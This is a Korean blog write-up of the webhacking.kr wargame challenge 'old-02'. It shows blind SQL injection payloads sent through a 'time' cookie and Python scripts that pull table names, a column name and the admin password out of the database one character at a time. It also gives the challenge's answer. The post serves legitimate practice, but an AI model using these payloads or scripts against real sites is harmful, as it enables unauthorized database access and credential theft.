Notice
Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Archives
Today
Total
관리 메뉴

아모에요

[webhacking.kr] old-02 본문

Study/Hacking

[webhacking.kr] old-02

dys4nt 2023. 6. 13. 07:44

처음 이 문제를 봤을 땐 와 저걸 진짜 어떻게 풀지, 싶었는데

CTF를 여러번 뛰고 나니까 감이 잡히는 문제입니다.

 

페이지 소스를 보면 

<!--
2023-06-13 05:42:14
-->

와 같이 쓸데없는 주석이 있습니다. 쿠키도 확인해보면 time이라는 값이 있네요.

time의 값을 변경해봅시다.

 

true로 변경하면 2070-01-01 09:00:01으로 바뀌고

false로 변경하면 2070-01-01 09:00:00으로 변경됩니다.

 

admin.php에 접근하면 엉덩이를 차버린다 했으니 SQL 구문을 사용할 확률이 높겠네요.

 

직접적으로 SQL 결과값을 알 순 없고 true, false 값이나 숫자 값만 알 수 있으므로

 

Blind SQL Injection 공격을 시도해봅시다.

 

먼저 테이블 개수를 구하려면

 

(select count(*) from information_schema.tables)을 쿠키값에 입력하면 됩니다.

 

테이블 개수 = 63 의 결과를 얻었습니다.

 

테이블명을 구하기 위해서 첫번째 테이블의 이름의 길이를 구하는 쿠키는 아래와 같습니다.

(select length(table_name) from information_schema.tables limit 0,1)

 

첫번째 테이블의 이름의 길이 = 14

 

마찬가지로 두번째, 세번째 테이블의 이름의 길이도 구해보면

10,37이 나옵니다.

 

첫번째 테이블의 테이블명을 구해봅시다.

 

substr 함수를 이용해서 문자열을 한 단어씩 끊어낸 뒤에 한 단어마다 char->int 변환을 통해서 문자를 구해내면 됩니다.

 

(select ascii(substr(table_name,1,1)) from information_schema.tables limit 0,1)

첫번째 테이블의 첫번째 문자의 아스키 코드 번호는 67이네요. => C

마찬가지로 두번째부터 문자를 구해보면 H A R A C T E R _ S E T S

CHARACTER_SETS

 

두번째 테이블 부터는 이를 자동화합시다.

 

import requests

def get_result(t):
    cookie = {'time':t}
    res = requests.get("https://webhacking.kr/challenge/web-02/",cookies=cookie)
    li = res.text.split(':')
    min = int(li[1])
    sec = int(li[2][:2])
    res = min*60 + sec
    return res



for i in range(63):
    t = f'(select length(table_name) from information_schema.tables limit {str(i)},1)'
    len = get_result(t)
    table_name = ''
    for j in range(1,len+1):
        t = f'(select ascii(substr(table_name,{str(j)},1)) from information_schema.tables limit {str(i)},1)'
        res = get_result(t)
        table_name += chr(res)
    print(table_name)

 

admin_area_pw라는 테이블을 분석하면 문제가 풀릴 것 같습니다.

 

(select count(*) from information_schema.columns where table_name = 'admin_area_pw')

로 CHARACTER_SETS 테이블의 컬럼의 개수를 구하면 1개임을 확인 할 수 있습니다.

 

컬럼의 이름을 구해보면

table_name = 'admin_area_pw'
t = f'(select length(column_name) from information_schema.columns where table_name=\'{table_name})\''
res = get_result(t)

column_name = ''

for i in range(1,res+1):
    t = f'(select ascii(substr(column_name,{str(i)},1)) from information_schema.columns where table_name=\'{table_name}\')'
    r = get_result(t)
    column_name += chr(r)
    print(column_name)

column_name = pw

마지막으로 admin_area_pw안에 저장된 데이터의 pw 값을 구하면

 

t = f'(select length(pw) from admin_area_pw)'
res = get_result(t)

pw = ''

for i in range(1,res+1):
    t = f'(select ascii(substr(pw,{str(i)},1)) from admin_area_pw)'
    r = get_result(t)
    pw += chr(r)
    print(pw)

 

pw 값은 kudos_to_beistlab

admin.php에 접속해서 pw를 입력하면 문제가 풀립니다. ~^~^

 

'Study > Hacking' 카테고리의 다른 글

[webhacking.kr] old-05  (0) 2023.06.13
[webhacking.kr] old-04  (0) 2023.06.13
[webhacking.kr] old-03  (0) 2023.06.13
[webhacking.kr] old-01  (0) 2023.06.13
[dreamhack.io] easyxss  (0) 2023.05.31